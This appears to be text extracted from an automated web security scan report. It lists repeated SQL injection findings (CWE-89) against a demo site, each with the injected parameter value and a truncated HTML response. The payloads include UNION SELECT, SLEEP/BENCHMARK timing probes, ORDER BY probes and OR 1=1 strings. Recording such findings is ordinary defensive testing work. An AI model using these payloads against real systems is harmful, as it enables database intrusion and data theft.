BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #833
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #834
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16,17,18
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCgAQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #835
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #836
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Valuedemouser@deepfence.io UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #837
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #838
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #839
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 29#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #840
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK
(1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #841Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io' OR '1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #842
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io" OR 1 = 1 -- -
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #843
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #844
Scan SQL InjectionSeverity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT USER()--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #845
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #846
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(
1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #847
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
demouser@
deepfence.io"-"
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
